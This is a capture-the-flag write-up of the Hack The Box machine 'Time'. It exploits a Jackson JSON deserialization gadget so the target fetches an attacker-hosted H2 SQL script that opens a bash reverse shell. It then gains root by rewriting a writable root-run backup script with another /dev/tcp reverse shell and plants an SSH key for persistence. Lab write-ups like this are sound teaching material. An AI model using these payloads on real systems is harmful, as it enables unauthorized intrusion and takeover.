---
search:
  exclude: true
---
# Time Writeup

![](img/64.png)

## Introduction :

Time is a Medium Linux box released back in October 2020.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
    [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~]
    → nmap -vvv -p- 10.10.10.214 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
    Discovered open port 22/tcp on 10.10.10.214
    Discovered open port 80/tcp on 10.10.10.214
    
    
    [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~]
    → nmap -sCV -p22,80 10.10.10.214
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-02 11:08 CEST
    Nmap scan report for 10.10.10.214
    Host is up (0.46s latency).
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
    |   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
    |_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Online JSON parser
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 24.40 seconds
    
    

## **Part 2 : Getting User Access**

Now our nmap scan picked up port 80 so let's take a look at it: 

![](prg/64_001.png) ![](prg/64_002.png) ![](prg/64_003.png)

The website is basically a simple json parser, however when we take a look at the 'validate' option, giving it some random string makes it error out and reveals out the backend that's being used:
    
    
    Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'random': was expecting ('true', 'false' or 'null')
    
    

So now we know that this is jackson core json parser, so if we google for jackson CVEs we stumble upon this [jackson gadgets](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html) blogpost which details how we can get the remote host to download a SQL file containing SHELLEXEC system commands: 

![](prg/64_004.png)

So let's prepare our payload:
    
    
    [terminal 1]
    [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket]
    → vim inject.sql
    
    [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket]
    → cat inject.sql
    CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
            String[] command = {"bash", "-c", cmd};
            java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
            return s.hasNext() ? s.next() : "";  }
    $$;
    CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.8/9001 0>&1')
    
    [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket]
    → python3 -m http.server 9090
    Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
    
    [terminal 2]
    [ 10.10.14.8/23 ] [ /dev/pts/16 ] [~/HTB/Bucket]
    → nc -lvnp 9001
    listening on [any] 9001 ...
    
    

And to get the machine to download the sql file from us we will use the following: 
    
    
    [\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:9090/inject.sql'\"}]
    
    #make sure to correct the payload like so:
    ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:9090/inject.sql'"}]
    
    

So let's try it: 

![](prg/64_005.png)

click process and you will see the following:

![](prg/64_006.png)

So we got a reverse shell as the pericles user, before we continue let's upgrade our reverse shell to a fully interactive TTY:
    
    
    pericles@time:/var/www/html$ which python python3 curl wget
    which python python3 curl wget
    /usr/bin/python3
    /usr/bin/curl
    /usr/bin/wget
    pericles@time:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    pericles@time:/var/www/html$ ^Z
    [1]  + 23451 suspended  nc -lvnp 9001
    
    [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Time]
    → stty raw -echo ; fg
    [1]  + 23451 continued  nc -lvnp 9001
                                         export TERM=screen-256color
    pericles@time:/var/www/html$ export SHELL=bash
    pericles@time:/var/www/html$ stty rows 50 columns 200
    pericles@time:/var/www/html$ reset
    
    pericles@time:/var/www/html$ cd ~
    pericles@time:/home/pericles$ cat user.txt
    32XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And we got the user flag!

## **Part 3 : Getting Root Access**

Now in order to find a path to the root user, let's run linpeas.sh on the box after we login via SSH for ease of use: 
    
    
    [terminal 1]
    [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time]
    → cat ~/.ssh/mahakaliVM.pub
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali
    
    [terminal 2]
    pericles@time:/home/pericles$ mkdir ~/.ssh/
    pericles@time:/home/pericles$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali' >> ~/.ssh/authorized_keys
    
    [terminal 1]
    [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Time]
    → ssh pericles@10.10.10.214 -i ~/.ssh/mahakaliVM
    The authenticity of host '10.10.10.214 (10.10.10.214)' can't be established.
    ECDSA key fingerprint is SHA256:sMBq2ECkw0OgfWnm+CdzEgN36He1XtCyD76MEhD/EKU.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '10.10.10.214' (ECDSA) to the list of known hosts.
    Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
      System information as of Sat 03 Jul 2021 03:58:19 PM UTC
    
      System load:             0.0
      Usage of /:              17.2% of 27.43GB
      Memory usage:            12%
      Swap usage:              0%
      Processes:               232
      Users logged in:         0
      IPv4 address for ens160: 10.10.10.214
      IPv6 address for ens160: dead:beef::250:56ff:feb9:31f0
    
    
    168 updates can be installed immediately.
    47 of these updates are security updates.
    To see these additional updates run: apt list --upgradable
    
    
    The list of available updates is more than a week old.
    To check for new updates run: sudo apt update
    
    Last login: Fri Oct 23 09:19:19 2020 from 10.10.14.5
    pericles@time:~$
    
    [terminal 3]
    [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time]
    → ls -lash linpeas.sh
    452K -rw-r--r-- 1 nothing nothing 452K Jul  1 20:22 linpeas.sh
    
    [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time]
    → python3 -m http.server 9090
    Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
    
    [terminal 1]
    pericles@time:~$ wget http://10.10.10.214:9090/linpeas.sh -O /tmp/peas.sh
    --2021-07-03 16:00:28--  http://10.10.10.214:9090/linpeas.sh
    Connecting to 10.10.10.214:9090... failed: Connection refused.
    pericles@time:~$ wget http://10.10.14.8:9090/linpeas.sh -O /tmp/peas.sh
    --2021-07-03 16:00:41--  http://10.10.14.8:9090/linpeas.sh
    Connecting to 10.10.14.8:9090... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 462687 (452K) [text/x-sh]
    Saving to: ‘/tmp/peas.sh’
    
    /tmp/peas.sh                                                100%[========================================================================================================================================>] 451.84K   192KB/s    in 2.3s
    
    2021-07-03 16:00:45 (192 KB/s) - ‘/tmp/peas.sh’ saved [462687/462687]
    
    pericles@time:~$ chmod +x /tmp/peas.sh
    pericles@time:~$ /tmp/peas.sh
    
    

` ![](prg/64_007.png)

Let linpeas run a bit and then once it's done we scroll through the output to see the following hint: 

![](prg/64_008.png)

When we take a closer look at that script which is supposed to be ran as the root user, we see that it is actually owned by our user:
    
    
    pericles@time:~$ ls -lash /usr/bin/timer_backup.sh
    4.0K -rwxrw-rw- 1 pericles pericles 88 Jul  3 16:05 /usr/bin/timer_backup.sh
    
    

Netcat is on the box too, so let's put a simple bash reverse shell payload in it: 
    
    
    [terminal 1]
    pericles@time:~$ which nano
    /usr/bin/nano
    pericles@time:~$ nano /usr/bin/timer_backup.sh
    pericles@time:~$ cat /usr/bin/timer_backup.sh
    #!/bin/bash
    #zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
    bash -c "bash -i >& /dev/tcp/10.10.14.8/9002 0>&1"
    
    [terminal 2]
    [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time]
    → nc -lvnp 9002
    listening on [any] 9002 ...
    connect to [10.10.14.8] from (UNKNOWN) [10.10.10.214] 36874
    bash: cannot set terminal process group (33199): Inappropriate ioctl for device
    bash: no job control in this shell
    root@time:/# cat /root/root.txt
    cat /root/root.txt
    d1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And there you go! We managed to get the reverse shell connection as root and get the root flag. 

## **Conclusion**

Here we can see the progress graph :

![](img/64_graph.png)

